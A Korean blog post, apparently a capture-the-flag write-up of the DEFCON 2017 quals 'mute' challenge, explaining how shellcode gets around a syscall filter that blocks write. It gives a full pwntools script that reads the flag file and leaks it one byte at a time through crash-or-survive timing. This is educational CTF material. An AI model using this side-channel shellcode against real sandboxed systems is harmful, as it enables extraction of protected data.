Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

DEFCON 2017 quals mute 본문

Security/Pwnable

DEFCON 2017 quals mute

Cdor1 2017. 5. 16. 05:26

sandbox상에서 돌아가는 프로그램에서 쉘코드를 이용해 플래그를 얻어오는 문제이다.

받은 input을 buf(v4, v3)로 실행시켜준다.


하지만 허용되는 syscall에 제한이 있다.

 flag를 뽑아와야하는데 read, open syscall은 허용되어 있지만 write syscall이 허용되지 않아 나에게 바로 출력해주기 어렵다.

그래서 blind sql injection처럼 풀어내야 한다. (with shellcode)



from pwn import *

elf = ELF("./mute")
context.binary = elf

flag = ''
while 1:
    for i in string.printable:
        log.info('Trying ' + i)
        s = process('./mute')
        print s.recvline()
        sh = asm(shellcraft.amd64.linux.open('./flag'))
        sh += asm(shellcraft.amd64.linux.read('rax', 'rsp', 100))
        sh += asm('xor rax, rax') 
        sh += asm('xor rbx, rbx')
        sh += asm('xor r10, r10')
        sh += asm('mov r10, 1') # for SIGSYS
    
        sh += asm('mov rbx, [rsp + {0}*8]'.format(len(flag)/8)) #mov flag
        sh += asm('shr rbx, {0}'.format(8*(len(flag)%8))) #shift flag
        sh += asm('cmp bl, {0}'.format(ord(i))) #cmp flag
    
        sh += asm('cmovne rax, r10') # if not SIGSYS
        sh += asm('syscall')

        sh += '\x00' * (0x1000 - len(sh))
        s.send(sh)

        try:
                s.recvline(timeout=0.5)
        except:
                s.close()
                continue

        s.close()
        flag += i
        print 'flag is : ' + flag
        break

한 글자씩 플래그를 유추해보게 되는데

만약 플래그가 틀리다면 허용되지 않은 write syscall을 해 SIGSYS를 일으키고

플래그가 맞다면 바로 syscall을 해 프로그램을 0.5초 이상 살려둔다.

이런 식으로 플래그를 한글자 한글자 알아내면 된다.


        sh += asm('mov rbx, [rsp + {0}*8]'.format(len(flag)/8)) #mov flag
        sh += asm('shr rbx, {0}'.format(8*(len(flag)%8))) #shift flag

플래그 인덱스를 증감 연산하는 방법을 잘 모르겠어서

이 부분은 외국 write-up을 참고해서 가져오게 되었는데


mov rbx, [rsp + (len/8)*8]

flag를 64bit에 맞게 8글자씩 rbx에 로드한다.


shr rbx, 8*(len%8)

flag를 유추한 길이에 맞춰서 한 인덱스씩 증가시키며 비교한다.


shift연산을 이용해서 해결할 수 있었다. 저장완료 ㅎㅎ

'Security > Pwnable' 카테고리의 다른 글

C++ Exploitation  (0) 2017.05.19
pwnable.tw silver_bullet  (0) 2017.05.17
DEFCON 2017 Quals beatmeonthedl  (3) 2017.05.12
NOE systems double_input.c  (0) 2017.05.11
DEFCON 2017 Quals smashme  (0) 2017.05.11
Comments